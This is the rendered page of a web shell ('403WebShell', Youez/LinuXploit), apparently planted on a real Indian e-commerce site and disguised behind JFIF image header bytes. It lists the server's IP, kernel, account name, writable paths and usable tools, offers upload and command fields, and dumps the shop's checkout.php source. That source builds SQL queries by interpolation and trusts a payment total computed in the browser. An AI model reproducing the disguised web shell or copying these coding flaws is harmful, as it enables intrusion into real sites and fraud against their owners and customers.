���� JFIF    aewtgwgerwasdasd403WebShell
403Webshell
Server IP : 147.93.80.58  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux id-dci-web1866.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u939086737 ( 939086737)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u939086737/domains/jeevikagaumaa.in/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u939086737/domains/jeevikagaumaa.in/public_html//checkout.php
<?php
session_start();
include './action/config.php';
if (isset($_SESSION['userid'])) {
    $userid = $_SESSION['userid'];
}
?>
<!DOCTYPE html>
<html lang="en" data-bs-theme="light">

<head>
    <!--required meta tags-->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <!--meta-->
    <meta name="description" content="">
    <meta name="author" content="Jeevika Gaumaa">
    <meta name="keywords" content="">
    <link rel="icon" href="assets/img/favicon.png" type="image/png" sizes="16x16">

    <title><?= $page . ' | ' . $shop['name'] ?></title>

    <link rel="stylesheet" href="assets/css/main.css">
    <style>
        #spinner {
            position: fixed;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            z-index: 9999;
            font-size: 1.5em;
            color: #000;
        }
    </style>
</head>

<body>

    <!--main content wrapper start-->
    <div class="main-wrapper">

        <?php include './header.php'; ?>

        <!--breadcrumb section start-->
        <div class="gstore-breadcrumb position-relative z-1 overflow-hidden mt--50">
            <img src="assets/img/shapes/bg-shape-6.png" alt="bg-shape" class="position-absolute start-0 z--1 w-100 bg-shape">
            <img src="assets/img/shapes/pata-xs.svg" alt="pata" class="position-absolute pata-xs z--1 vector-shape">
            <img src="assets/img/shapes/onion.png" alt="onion" class="position-absolute z--1 onion start-0 top-0 vector-shape">
            <img src="assets/img/shapes/frame-circle.svg" alt="frame circle" class="position-absolute z--1 frame-circle vector-shape">
            <img src="assets/img/shapes/leaf.svg" alt="leaf" class="position-absolute z--1 leaf vector-shape">
            <img src="assets/img/shapes/garlic-white.png" alt="garlic" class="position-absolute z--1 garlic vector-shape">
            <img src="assets/img/shapes/roll-1.png" alt="roll" class="position-absolute z--1 roll vector-shape">
            <img src="assets/img/shapes/roll-2.png" alt="roll" class="position-absolute z--1 roll-2 vector-shape">
            <img src="assets/img/shapes/pata-xs.svg" alt="roll" class="position-absolute z--1 pata-xs-2 vector-shape">
            <img src="assets/img/shapes/tomato-half.svg" alt="tomato" class="position-absolute z--1 tomato-half vector-shape">
            <img src="assets/img/shapes/tomato-slice.svg" alt="tomato" class="position-absolute z--1 tomato-slice vector-shape">
            <img src="assets/img/shapes/cauliflower.png" alt="tomato" class="position-absolute z--1 cauliflower vector-shape">
            <img src="assets/img/shapes/leaf-gray.png" alt="tomato" class="position-absolute z--1 leaf-gray vector-shape">
            <div class="container">
                <div class="row">
                    <div class="col-12">
                        <div class="breadcrumb-content">
                            <h2 class="mb-2 text-center">Checkout</h2>
                            <nav>
                                <ol class="breadcrumb justify-content-center">
                                    <li class="breadcrumb-item fw-bold" aria-current="page"><a href="./">Home</a></li>
                                    <li class="breadcrumb-item fw-bold" aria-current="page">Cart</li>
                                    <li class="breadcrumb-item fw-bold" aria-current="page">Checkout</li>
                                </ol>
                            </nav>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--breadcrumb section end-->

        <!--checkout section start-->
        <div class="checkout-section">
            <div class="container">


                <?php if (isset($_SESSION['userid'])) { ?>
                    <div class="faq-right mb-10">
                        <div class="accordion faq-accordion" id="faq-accordion">
                            <div class="accordion-item">
                                <div class="accordion-header">
                                    <a href="#acc-2" data-bs-toggle="collapse" class="collapsed">Click here to use your wallet balance.<i class="fas fa-angle-down float-end ms-1"></i></a>
                                </div>
                                <div class="accordion-collapse collapse" id="acc-2" data-bs-parent="#faq-accordion">
                                    <div class="accordion-body">
                                        <form method="post">
                                            <p>
                                                Your Wallet Balance: &nbsp; <i class="fas fa-inr"></i>
                                                <?php
                                                $qry8 = mysqli_query($con, "SELECT * FROM `user_wallet` WHERE userid='$userid'");
                                                $r8 = mysqli_fetch_array($qry8);
                                                echo $r8['wallet_bal'];
                                                $subtotal = $_SESSION['cart_subtotal'];
                                                $max_use_wallet_bal = $subtotal / 4;

                                                if (isset($_SESSION['wallet_bal'])) {
                                                    if ($_SESSION['wallet_bal'] > $max_use_wallet_bal) {
                                                        unset($_SESSION['wallet_bal']);
                                                        echo '<script>alert("Again Use Wallet Balance."); location.href="";</script> ';
                                                    }
                                                }
                                                ?>
                                                <input type="hidden" name="total_wallet_bal" id="total_wallet_bal" value="<?= $r8['wallet_bal'] ?>">
                                                <input type="hidden" name="max_use_wallet_bal" value="<?= $max_use_wallet_bal ?>">
                                            </p>
                                            <input type="text" class="theme-input" name="use_bal" id="use_bal" placeholder="Enter Amount Max. <?= $max_use_wallet_bal ?> ">
                                            <button type="submit" name="use_wallet" class="btn btn-primary use_wallet">Apply</button>
                                        </form>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                <?php } ?>



                <div class="row g-4">
                    <div class="col-xl-8">
                        <div class="checkout-steps">
                            <div class="d-flex justify-content-between">
                                <h4 class="mb-5">Shipment Address</h4>
                                <?php if (isset($_SESSION['userid'])) {
                                    $userid = $_SESSION['userid']; ?>
                                    <a href="#" data-bs-toggle="modal" data-bs-target="#addAddressModal" class="fw-semibold"><i class="fas fa-plus me-1"></i> Add Address</a>
                                <?php } ?>
                            </div>

                            <div class="row g-4">
                                <?php
                                if (isset($_SESSION['userid'])) {
                                    $qa1 = mysqli_query($con, "SELECT * FROM `user_address` WHERE userid='$userid' AND status=1 ORDER BY `id` DESC ");
                                    $i = 1;
                                    while ($ra = mysqli_fetch_array($qa1)) {
                                ?>
                                        <div class="col-lg-4 col-sm-4">
                                            <div class="tt-address-content">
                                                <input type="radio" class="tt-custom-radio" name="address" value="<?= $ra['id'] ?>" id="address-<?= $i ?>" <?= $i == 1 ? 'checked' : '' ?>>
                                                <label for="address-<?= $i ?>" class="tt-address-info bg-white rounded p-4 position-relative">
                                                    <address class="fs-sm mb-0">
                                                        <strong><?= $ra['name'] ?></strong>
                                                        <?= $ra['address'] ?> <br>
                                                        <?= $ra['landmark'] ?> <br>
                                                        <?= $ra['city'] . ', ' . $ra['state'] . ' - ' . $ra['pin'] ?><br>
                                                        Mobile: <?= $ra['phone'] ?>
                                                    </address>
                                                    <a href="my-account?add_id=<?= base64_encode($ra['id']) ?>" class="tt-edit-address checkout-radio-link position-absolute">Edit</a>
                                                </label>
                                            </div>
                                        </div>
                                    <?php
                                        $i++;
                                    }
                                } else {
                                    ?>
                                    <a href="./login?returnpath=<?= strtolower($page) ?>" class="btn btn-secondary btn-md mt-6 w-100">Please Login First</a>
                                <?php
                                }
                                ?>
                            </div>
                        </div>
                    </div>
                    <div class="col-xl-4">
                        <div class="checkout-sidebar">
                            <div class="sidebar-widget checkout-sidebar py-6 px-4 bg-white rounded-2">
                                <div class="widget-title d-flex">
                                    <h5 class="mb-0 flex-shrink-0">Order Summary</h5>
                                    <span class="hr-line w-100 position-relative d-block align-self-end ms-1"></span>
                                </div>
                                <table class="sidebar-table w-100 mt-5">
                                    <tr>
                                        <td>Items(<span id="item-count">0</span>):</td>
                                        <td class="text-end"><i class="fa fa-inr fa-xs"></i> <span id="cart-total">0.00</span></td>
                                    </tr>
                                    <tr>
                                        <td>Shipping & handling:</td>
                                        <td class="text-end"><i class="fa fa-inr fa-xs"></i> <span id="shipping-cost">0.00</span></td>
                                    </tr>
                                    <tr>
                                        <td>Subtotal</td>
                                        <td class="text-end"><i class="fa fa-inr fa-xs"></i> <span id="subtotal">0.00</span></td>
                                    </tr>
                                    <?php if (isset($_SESSION['wallet_bal'])) { ?>
                                        <tr>
                                            <td>Used Wallet Balance(-)</td>
                                            <td class="text-end"><i class="fa fa-inr fa-xs"></i> <?= $_SESSION['wallet_bal'] . '.00' ?></td>
                                        </tr>
                                    <?php } ?>
                                </table>
                                <span class="sidebar-spacer d-block my-4 opacity-50"></span>
                                <div class="d-flex align-items-center justify-content-between">
                                    <h6 class="mb-0 fs-md">Final Amount</h6>
                                    <h6 class="mb-0 fs-md"><i class="fa fa-inr fa-xs"></i> <span id="final-amount">0.00</span></h6>
                                </div>

                                <?php if (!isset($_SESSION['userid'])) { ?>
                                    <a href="./login?returnpath=<?= strtolower($page) ?>" class="btn btn-secondary btn-md mt-6 w-100">Please Login First</a>
                                <?php } else { ?>

                                    <!--<img src="./assets/img/shushma-gupta-qr-code.jpeg" alt="payment" width="100%">-->
                                    <center><img src="./jivan-darpan-welfare-association/new-qr.jpeg" style="height: 250px; width: auto; "></center>
                                    <button type="submit" id="place-order-button" class="btn btn-primary btn-md rounded mt-6 w-100">Pay & Place Order</button>
                                <?php } ?>

                                <div id="spinner" style="display: none;"><img src="./assets/img/loading.gif" alt="loading"></div>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="modal fade" id="addAddressModal">
                    <div class="modal-dialog modal-dialog-centered">
                        <div class="modal-content">
                            <div class="modal-body">
                                <button type="button" class="btn-close float-end" data-bs-dismiss="modal" aria-label="Close"></button>
                                <div class="gstore-product-quick-view bg-white rounded-3 py-6 px-4">
                                    <h2 class="modal-title fs-5 mb-3">Add New Address</h2>
                                    <div class="row align-items-center g-4 mt-3">
                                        <form method="post">
                                            <div class="row g-4">
                                                <div class="col-sm-12">
                                                    <div class="label-input-field">
                                                        <label>Name</label>
                                                        <input type="text" name="name" placeholder="Enter Name*" required>
                                                    </div>
                                                </div>
                                                <div class="col-sm-12">
                                                    <div class="label-input-field">
                                                        <label>Street Address</label>
                                                        <input type="text" name="address" id="notice" placeholder="House number and street name*" required>
                                                    </div>
                                                </div>
                                                <div class="col-sm-12">
                                                    <div class="label-input-field">
                                                        <label>Landmark</label>
                                                        <input type="text" name="landmark" id="notice2" placeholder="Apartment, suite, unit etc. (optional)">
                                                    </div>
                                                </div>
                                                <div class="col-sm-12">
                                                    <div class="label-input-field">
                                                        <label>Mobile</label>
                                                        <input type="tel" name="phone" placeholder="Phone Number*" maxlength="10" required>
                                                    </div>
                                                </div>

                                                <div class="col-sm-4">
                                                    <div class="label-input-field">
                                                        <label>City</label>
                                                        <input type="text" name="city" placeholder="City*" required>
                                                    </div>
                                                </div>
                                                <div class="col-sm-4">
                                                    <div class="label-input-field">
                                                        <label>State</label>
                                                        <input type="text" name="state" placeholder="State*" required>
                                                    </div>
                                                </div>
                                                <div class="col-sm-4">
                                                    <div class="label-input-field">
                                                        <label>Zip Code</label>
                                                        <input type="text" name="pin" placeholder="Pin*" maxlength="6" required>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="mt-6 d-flex">
                                                <button type="submit" name="add_new_address" class="btn btn-primary" style="width:100%;">Save Address</button>
                                            </div>
                                        </form>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--checkout section end-->

        <?php include './footer.php';  ?>


        <script>
            document.addEventListener('DOMContentLoaded', function() {
                const bestDealProducts = <?php echo json_encode($best_deal_products); ?>;
                const productDetails = <?php echo json_encode($product_details); ?>;
                const baseShippingCost = 150; // Base shipping cost for up to 2kg
                const additionalShippingCostPerKg = 0; // Additional shipping cost per kg
                function calculateShippingCost(totalWeight) {
                    if (totalWeight <= 2000) { // Weight up to 2kg (2000 grams)
                        return baseShippingCost;
                    } else {
                        const additionalWeight = totalWeight - 2000;
                        const additionalCost = Math.ceil(additionalWeight / 1000) * additionalShippingCostPerKg;
                        return baseShippingCost + additionalCost;
                    }
                }

                function getCart() {
                    return JSON.parse(localStorage.getItem('cart')) || {};
                }

                function calculateCartValues() {
                    const cart = getCart();
                    let cartTotal = 0;
                    let itemCount = 0;
                    let totalWeight = 0;

                    Object.values(cart).forEach(item => {
                        cartTotal += item.price * item.quantity;
                        itemCount += item.quantity;

                        const itemDetails = productDetails[item.id];
                        totalWeight += itemDetails.qty2 * item.quantity;
                    });

                    const shippingCost = calculateShippingCost(totalWeight);
                    const walletBalance = parseFloat('<?php echo isset($_SESSION['wallet_bal']) ? $_SESSION['wallet_bal'] : 0; ?>');
                    const subtotal = cartTotal + shippingCost;
                    const finalAmount = subtotal - walletBalance;

                    document.getElementById('item-count').innerText = itemCount;
                    document.getElementById('cart-total').innerText = cartTotal.toFixed(2);
                    document.getElementById('shipping-cost').innerText = shippingCost.toFixed(2);
                    document.getElementById('subtotal').innerText = subtotal.toFixed(2);
                    document.getElementById('final-amount').innerText = finalAmount.toFixed(2);

                    return {
                        cartTotal,
                        shippingCost,
                        finalAmount
                    };
                }

                function togglePlaceOrderButton() {
                    const cart = getCart();
                    const placeOrderButton = document.getElementById('place-order-button');
                    if (Object.keys(cart).length === 0) {
                        placeOrderButton.style.display = 'none';
                    } else {
                        placeOrderButton.style.display = 'block';
                    }
                }

                document.getElementById('place-order-button').addEventListener('click', function(event) {
                    event.preventDefault(); // Prevent default form submission

                    document.getElementById('spinner').style.display = 'block';

                    const cartValues = calculateCartValues();
                    const address = document.querySelector('input[name="address"]:checked').value;

                    const formData = new FormData();
                    formData.append('address', address);
                    formData.append('cartTotal', cartValues.cartTotal);
                    formData.append('shipping_cost', cartValues.shippingCost);
                    formData.append('final_amount', cartValues.finalAmount);

                    fetch('checkout_process.php', {
                            method: 'POST',
                            body: formData
                        })
                        .then(response => response.json())
                        .then(data => {
                            document.getElementById('spinner').style.display = 'block';
                            if (data.success) {
                                window.location.href = data.paymentUrl;
                            } else {
                                console.error('Error:', data.message);
                            }
                        })
                        .catch(error => {
                            // Hide the spinner
                            document.getElementById('spinner').style.display = 'none';
                            console.error('Error:', error);
                        });
                });

                function checkCheckoutEligibility() {
                    const cart = getCart();
                    let containsBestDeal = false;
                    let cartValue = 0;

                    Object.values(cart).forEach(item => {
                        const itemPrice = bestDealProducts[item.id] ? bestDealProducts[item.id].deal_price : item.price;
                        cartValue += item.price * item.quantity;
                        if (bestDealProducts[item.id]) {
                            containsBestDeal = true;
                        }
                    });

                    const placeOrderButton = document.getElementById('place-order-button');

                    if (containsBestDeal && cartValue < 10) { // ye old wala hai
                        placeOrderButton.style.display = 'none';
                        alert('Your cart total must be at least ₹10 to checkout when a best deal product is included.');
                    } else {
                        placeOrderButton.style.display = 'block';
                    }
                }

                calculateCartValues();
                togglePlaceOrderButton();
                checkCheckoutEligibility();
            });
        </script>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit